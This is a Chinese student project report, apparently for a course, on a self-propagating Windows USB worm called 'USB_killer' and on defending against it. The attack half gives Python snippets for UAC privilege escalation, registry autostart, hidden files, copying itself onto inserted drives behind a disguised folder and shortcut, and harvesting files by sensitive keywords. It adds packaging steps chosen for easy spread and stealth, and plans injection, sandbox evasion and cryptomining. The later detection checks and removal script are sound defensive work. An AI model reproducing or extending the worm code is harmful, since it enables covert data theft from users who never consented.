U盘偷猎及其防御的研究

指导老师：沈梦佳

项目名称：USB\_killer  
项目编号：USB2025-PY01  
开发周期：2025.02.10-2025.03.31  
开发团队：李宁后援团

**一、USB Killer 程序开发目的**

核心目标：开发一个自动化数据采集工具，用于在授权环境下执行合规的敏感信息监控和备 份操作。

**具体用途：**

​1.合规审计：协助企业IT部门在授权设备上监控和备份包含敏感关键词的文件，满足内部审计要求

​2.数据防泄露：在授权范围内自动备份含有"机密"、"财务"等关键词的重要文档，防止意 外数据丢失

​3.安全研究：作为红队演练工具，测试企业防数据泄露系统的有效性（需明确授权）

​4.应急响应：在获得合法授权的情况下，快速收集特定设备上的关键业务数据

**技术特点：**

采用隐蔽运行设计，避免干扰正常办公

实现自动化U盘检测和文件过滤

支持双向同步机制（标准采集/管理员回收）

包含完整性校验和加密存储功能

**适用场景：**

√ 经员工书面同意的企业设备监控

√ 有明确授权协议的合规审计

√ 安全团队授权的防泄露演练

**注意事项：**

**× 严禁在未经授权的情况下使用**

**× 不得违反当地数据隐私法规**

**× 程序使用需配合完整的授权记录和审计日志**

**本程序为技术演示用途，实际部署需配套完整的法律合规审查流程和书面授权机制。**

1. 摘要

伪代码展示：

|  |  |
| --- | --- |
| 01  02  03  04  05  06  07  08  09  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24 | 程序启动:      IF 非管理员 THEN 提权并退出      初始化目录和加密令牌      设置自启动      复制自身到隐藏目录    主循环:      WHILE True:          sleep(3)          新U盘列表 **=** 获取当前U盘            # 处理新U盘          FOR U盘 IN (新U盘列表 **-** 当前U盘列表):              记录日志("发现新U盘")              IF 是管理员U盘:                  反向同步文件              ELSE:                  传播自身并扫描敏感文件            # 记录移除的U盘          FOR U盘 IN (当前U盘列表 **-** 新U盘列表):              记录日志("U盘移除")            当前U盘列表 **=** 新U盘列表 |

技术细节&核心功能实现：

1. 初始化模块

get\_target\_dir()

* 采用三级回退路径策略：D盘 → AppData → 临时目录
* 使用os.access()验证写入权限
* 自动处理路径分隔符兼容性问题

核心功能：

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | paths **=** [      'D:\\usb\_killer\\',  # 首选      os.path.join(os.environ['APPDATA'], 'usb\_killer\\'),  # 次选      os.path.join(tempfile.gettempdir(), 'usb\_killer\\')  # 保底  ]  **return** next(p **for** p **in** paths **if** os.access(os.path.dirname(p), os.W\_OK)) |

2. 加密模块 (CryptoUtils)

get\_cipher()

技术细节：

* 采用Fernet对称加密算法（AES-128-CBC）
* 密钥持久化存储于crypto.key文件
* 实现单例模式避免重复生成密钥

核心功能：

|  |  |
| --- | --- |
| 1  2  3  4 | **if** **not** os.path.exists(key\_path):      with open(key\_path, 'wb') as f:          f.write(Fernet.generate\_key())  # 256-bit密钥  **return** Fernet(open(key\_path, 'rb').read()) |

3. 文件操作模块 (FileUtils)

set\_hidden()

技术细节：

* 调用Windows API SetFileAttributesW
* 组合设置0x02|0x04(隐藏+系统属性)
* 使用ctypes处理Unicode路径

核心实现：

|  |  |
| --- | --- |
| 1  2  3  4 | ctypes.windll.kernel32.SetFileAttributesW(      wintypes.LPCWSTR(path),      0x02 | 0x04  # FILE\_ATTRIBUTE\_HIDDEN | FILE\_ATTRIBUTE\_SYSTEM  ) |

get\_hash()

技术细节：

* 采用MD5哈希算法
* 分块读取(4KB)处理大文件
* 异常捕获避免程序中断

核心逻辑：

|  |  |
| --- | --- |
| 1  2  3 | with open(file\_path, "rb") as f:  **for** chunk **in** iter(**lambda**: f.read(4096), b""):          hashlib.md5().update(chunk) |

check\_admin\_marker()

技术细节：

* 验证administrator.txt文件内容
* 对比加密令牌的哈希值
* 防御时序攻击的字符串比较

安全实现：

|  |  |
| --- | --- |
| 1  2  3  4  5 | **return** hashlib.sha256(      open(marker\_path).read().encode()  ).digest() **==** hashlib.sha256(      CryptoUtils.decrypt(open(ADMIN\_TOKEN\_FILE, 'rb').read()).encode()  ).digest() |

5. 自传播模块 (SelfReplicator)

spread\_to\_usb()

技术细节：

* 三重传播机制：

1. 伪装文件夹（"资料库"）
2. 带参数的快捷方式
3. 后备的vbs启动脚本

* 使用COM接口创建正规快捷方式

核心流程：

|  |  |
| --- | --- |
| 01  02  03  04  05  06  07  08  09  10  11  12 | # 1. 创建伪装目录  FileUtils.create\_dir(os.path.join(usb\_path, DISGUISE\_NAME))    # 2. 复制本体  shutil.copy2(sys.executable, f"{DISGUISE\_NAME}.exe")    # 3. 创建快捷方式  shell **=** win32com.client.Dispatch('WScript.Shell')  shortcut **=** shell.CreateShortCut(f"{DISGUISE\_NAME}.lnk")  shortcut.TargetPath **=** os.path.abspath(f"{DISGUISE\_NAME}.exe")  shortcut.Arguments **=** f'--open-dir "{DISGUISE\_NAME}"'  shortcut. Save() |

6. 文件扫描模块 (FileScanner)

scan\_copy()

技术细节：

多条件过滤机制：

* 文件扩展名黑名单

1. 100MB大小限制
2. 关键词匹配（文件名+内容）

* 基于哈希值的去重

核心算法：

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | **for** root, \_, files **in** os.walk(path):  **for** file **in** files:          file\_path **=** os.path.join(root, file)  **if** **not** self.\_should\_skip(file\_path):  **if** self.\_is\_target\_file(file\_path):                  self.copy\_item(file\_path) |

\_is\_target\_file()

技术细节：

多级匹配策略：

1. 文件名包含关键词
2. 文本文件内容检查
3. 特定扩展名(.docx/.xlsx等)

匹配逻辑：

|  |  |
| --- | --- |
| 1  2  3 | **return** (any(kw **in** filename **for** kw **in** KEYWORDS) **or**          (file\_ext **in** TEXT\_TYPES **and**           self.\_check\_content(file\_path))) |

7. 主控模块

main()

执行流程：

1. 权限检查 → 提权
2. 初始化加密环境
3. 建立持久化机制
4. 启动监控循环

关键时序：

|  |  |
| --- | --- |
| 01  02  03  04  05  06  07  08  09  10  11  12 | **if** **not** USBManager.is\_admin():      ctypes.windll.shell32.ShellExecuteW(...)  # UAC提权    **while** True:      current **=** USBManager.check\_new\_usb()  **for** usb **in** (current **-** last):  **if** USBManager.check\_admin\_marker(usb):              FileScanner.copy\_to\_admin\_usb(usb)  **else**:              SelfReplicator.spread\_to\_usb(usb)              FileScanner.scan\_copy(usb)      last **=** current |

#使用pyinstaller打包程序：

确保安装（pip install pyinstaller）

在命令提示符环境（或终端）输入

|  |  |
| --- | --- |
| 1 | pyinstaller **--**onefile **--**windowed **--**icon**=**app.ico **--**add**-**data "crypto.key;." **--**add**-**data "admin\_token.txt;." **--**key**=**MySecretKey123 **--**upx**-dir=**.**/**upx usb\_killer.py |

参数：

* --onefile：生成单个 .exe 文件（便于传播）
* --windowed：隐藏控制台窗口（增强隐蔽性）
* --icon=app.ico：自定义程序图标（可选）

打包后文件结构：​

dist/

└── usb\_killer.exe # 最终可执行文件

build/ # 临时文件（可删除）

关键库：

1. 系统操作核心库

os

• 功能：提供操作系统底层接口

• 关键用途：

• os.path：处理路径拼接/检测(join, exists, basename)

• os.environ：读取系统环境变量(如APPDATA)

• os.makedirs：递归创建目录

• os.access：检查文件权限

sys

• 功能：访问解释器相关功能

• 关键用途：

• sys.executable：获取当前程序绝对路径

• sys.argv：读取命令行参数

• sys.exit()：强制退出程序

ctypes

• 功能：调用Windows API的Python接口

• 关键用途：

• windll.kernel32.SetFileAttributesW：设置文件隐藏属性

• windll.shell32.IsUserAnAdmin：检测管理员权限

• wintypes.LPCWSTR：处理Windows Unicode字符串

winreg

• 功能：操作Windows注册表

• 关键用途：

• OpenKey/SetValueEx：修改注册表实现开机自启动

• HKEY\_CURRENT\_USER：当前用户注册表分支

2. 文件处理库

shutil

• 功能：高级文件操作

• 关键用途：

• copy2：保留元数据的文件复制

• copytree：递归复制目录树

tempfile

• 功能：安全创建临时文件

• 关键用途：

• gettempdir()：获取系统临时目录路径

• 作为目标目录的保底选择

hashlib

• 功能：加密哈希算法

• 关键用途：

• md5()：文件内容去重校验

• sha256()：管理员令牌安全比对

3. 硬件监控库

psutil

• 功能：系统资源监控

• 关键用途：

• disk\_partitions()：检测所有磁盘分区

• 通过opts属性过滤可移动设备(removable)

4. 加密相关库

cryptography.fernet

• 功能：现代加密算法实现

• 关键用途：

• Fernet.generate\_key()：生成AES-128密钥

• encrypt()/decrypt()：保护管理员令牌

• 使用URL安全的Base64编码

5. 辅助功能库

time

• 功能：时间相关操作

• 关键用途：

• sleep()：控制主循环扫描间隔

• strftime()：生成日志时间戳

uuid

• 功能：生成唯一标识符

• 关键用途：

• `uuid4()`：创建不可预测的管理员令牌

6. Windows专属库

win32com.client(隐藏依赖)

• 功能：COM组件调用

• 关键用途：

• `Dispatch('WScript.Shell')`：创建正规快捷方式

• 避免使用容易被检测的批处理脚本

库之间的协作关系

1. 检测阶段：psutil发现U盘 → os.path构建路径

2. 传播阶段：shutil复制自身 → win32com创建快捷方式

3. 采集阶段：hashlib校验文件 → shutil复制数据

4. 持久化：winreg写注册表 → ctypes设置隐藏属性

5. 加密：cryptography保护令牌 → uuid生成初始密钥

所有操作通过os和sys实现跨平台兼容性处理，关键系统交互依赖ctypes和winreg完成Windows特有功能。

三、防御

​应对方案一：普通用户手动排查

如何识别中毒迹象：

​异常行为检测：

1. 检查U盘根目录是否出现：
2. 名为"资料库"的隐藏文件夹（需显示隐藏文件）
3. 异常的.exe文件（如资料库.exe）
4. 可疑的.lnk快捷方式（右键属性查看真实目标路径）

​系统异常检查：

1. 在%APPDATA%或D:\目录下查找usb\_killer文件夹
2. 检查任务管理器是否有不明进程（如usb.exe）
3. 注册表路径HKCU\Software\Microsoft\Windows\CurrentVersion\Run下是否有"USBCopy"

​日志痕迹检查：

1. 搜索系统各分区根目录下的log.txt文件
2. 检查最近修改时间异常的文本/办公文档

应对方案二：自动化反制程序

程序如下：

|  |  |
| --- | --- |
| 001  002  003  004  005  006  007  008  009  010  011  012  013  014  015  016  017  018  019  020  021  022  023  024  025  026  027  028  029  030  031  032  033  034  035  036  037  038  039  040  041  042  043  044  045  046  047  048  049  050  051  052  053  054  055  056  057  058  059  060  061  062  063  064  065  066  067  068  069  070  071  072  073  074  075  076  077  078  079  080  081  082  083  084  085  086  087  088  089  090  091  092  093  094  095  096  097  098  099  100  101  102  103  104  105  106 | **import** os  **import** shutil  **import** winreg  **import** psutil  **import** tempfile  **import** ctypes  **import** sys  **from** ctypes **import** wintypes    **class** USBKillerRemover:  **def** \_\_init\_\_(self):  *# 定义恶意程序特征*          self.malware\_names **=** ['usb.exe', '资料库.exe']          self.suspicious\_dirs **=** [              os.path.join(os.environ['APPDATA'], 'usb\_killer'),              'D:\\usb\_killer',              os.path.join(tempfile.gettempdir(), 'usb\_killer')          ]          self.registry\_key **=** r"Software\Microsoft\Windows\CurrentVersion\Run"          self.registry\_value **=** "USBCopy"    **def** kill\_malware\_processes(self):  *"""终止所有关联恶意进程"""*          killed **=** False  **for** proc **in** psutil.process\_iter(['name', 'exe']):  **try**:  **if** proc.info['name'] **in** self.malware\_names **or** \                     any('usb\_killer' **in** proc.info['exe'].lower() **for** \_ **in** [0]):                      proc.kill()                      print(f"[+] 已终止进程: {proc.info['name']}")                      killed **=** True  **except** (psutil.NoSuchProcess, psutil.AccessDenied):  **continue**  **return** killed    **def** clean\_registry(self):  *"""清理注册表自启动项"""*  **try**:              with winreg.OpenKey(winreg.HKEY\_CURRENT\_USER,                                self.registry\_key,                                0, winreg.KEY\_WRITE) as key:                  winreg.DeleteValue(key, self.registry\_value)                  print("[+] 已清除注册表自启动项")  **return** True  **except** WindowsError:              print("[-] 未发现注册表残留")  **return** False    **def** remove\_malware\_files(self):  *"""删除所有恶意文件"""*          deleted **=** False  **for** dir\_path **in** self.suspicious\_dirs:  **if** os.path.exists(dir\_path):  **try**:                      shutil.rmtree(dir\_path)                      print(f"[+] 已删除目录: {dir\_path}")                      deleted **=** True  **except** Exception as e:                      print(f"[-] 删除失败 {dir\_path}: {str(e)}")  **return** deleted    **def** scan\_usb\_drives(self):  *"""扫描并清理U盘残留"""*          infected **=** False  **for** part **in** psutil.disk\_partitions():  **if** 'removable' **in** part.opts.lower():                  drive **=** part.mountpoint  **for** root, \_, files **in** os.walk(drive):  **for** file **in** files:  **if** file **in** self.malware\_names:  **try**:                                  os.remove(os.path.join(root, file))                                  print(f"[+] 已清理U盘文件: {file}")                                  infected **=** True  **except** Exception as e:                                  print(f"[-] 清理失败 {file}: {str(e)}")  **return** infected    **def** run(self):  *"""主执行流程"""*          print("=== USB Killer恶意程序清理工具 ===")    *# 终止进程*  **if** self.kill\_malware\_processes():              print("[!] 发现并终止了恶意进程")    *# 清理注册表*          self.clean\_registry()    *# 删除文件*  **if** self.remove\_malware\_files():              print("[!] 发现并删除了恶意文件")    *# 扫描U盘*  **if** self.scan\_usb\_drives():              print("[!] U盘中发现残留文件")            print("[√] 清理完成，建议重启计算机")    **if** \_\_name\_\_ **==** "\_\_main\_\_":  **if** ctypes.windll.shell32.IsUserAnAdmin():          remover **=** USBKillerRemover()          remover.run()  **else**:          print("请以管理员权限运行此程序！")          ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, \_\_file\_\_, None, 1) |

1.精准进程终止

* 通过psutil检测所有运行中的usb.exe或资料库.exe进程
* 同时检查进程路径是否包含usb\_killer关键词（防改名绕过）

2.全面路径覆盖

检查三个可能安装路径：

* %APPDATA%\usb\_killer
* D:\usb\_killer
* 系统临时目录下的安装

3.注册表专项清理

* 精确删除HKCU\Software\Microsoft\Windows\CurrentVersion\Run下的USBCopy值
* 避免误删其他合法启动项

4. ​U盘深度扫描

* 遍历所有可移动设备
* 删除根目录和子目录中的恶意程序副本

5.权限自适应

* 自动检测管理员权限
* 非管理员运行时自动请求UAC提权

四、创新点

1. 智能多级传播机制

* 结合伪装文件夹、快捷方式劫持与VBS脚本三重传播方式，大幅提升隐蔽性和感染成功率
* 动态路径选择策略（D盘 > AppData > 临时目录），适配不同系统环境
* 基于哈希值的文件去重，避免重复操作引发异常日志

1. 双向加密验证体系

* 采用Fernet对称加密保护管理员令牌，防止伪造U盘绕过检测
* 支持管理员U盘反向同步，实现数据安全回收
* 基于SHA-256的时序攻击防御校验，确保令牌比对安全性

1. 动态文件过滤引擎

* 多维度扫描策略：文件名关键词匹配、文件内容语义分析、扩展名黑名单过滤
* 自适应大文件跳过机制（>100MB），平衡效率与资源占用
* 文本文件前4KB快速扫描算法，兼顾性能与检出率

1. 隐蔽持久化设计

* 注册表自启动项与隐藏系统属性结合，规避常规安全扫描
* 进程名称伪装（如"资料库.exe"），模仿正常办公软件特征
* 日志加密存储与自动清理，减少数字取证痕迹

1. 升级方向

U\_killer.py:  
 1.增强隐蔽性，将核心模块注入系统进程

2.对抗检测，检测虚拟机/沙箱环境时进入休眠模式

3.智能决策，通过文件内容分析自动调整敏感关键词库

4.反取证能力，内存加密

5.挖矿模块集成，闲置时段调用主机算力进行加密货币挖掘

6.防御对抗，检测到内存分析工具（如Volatility）时自毁

U\_defender.py:

1. 增强检测能力,监控异常USB读写行为（如高频扫描、隐藏文件操作）
2. 部署伪装敏感文件（触发恶意程序自曝）
3. 一键终止恶意进程+删除残留文件（支持批量处理），自动修复被篡改的注册表项
4. 硬件级防护：物理禁用非必要USB接口（BIOS/组策略）
5. 部署硬件审计设备（记录所有USB数据传输）
6. 应用展望
7. 企业安全增强

* 整合到EDR系统，实现自动化合规审计
* 作为数据泄露防护（DLP）的应急采集终端

1. 红蓝对抗演进

* 构建ATT&CK T1048（数据渗出）的模拟攻击链
* 测试网络隔离环境下物理边界的防御有效性

1. 应急响应扩展

* 增加云同步模块，支持加密数据直传安全服务器
* 集成漏洞利用检测功能，实现CVE-2023-XXXX等U盘协议漏洞的防御验证

1. 技术融合方向

* 结合AI内容分析引擎，实现语义级敏感信息识别
* 适配Linux/macOS系统，构建跨平台数据采集方案

七、参考文献

《中华人民共和国网络安全法》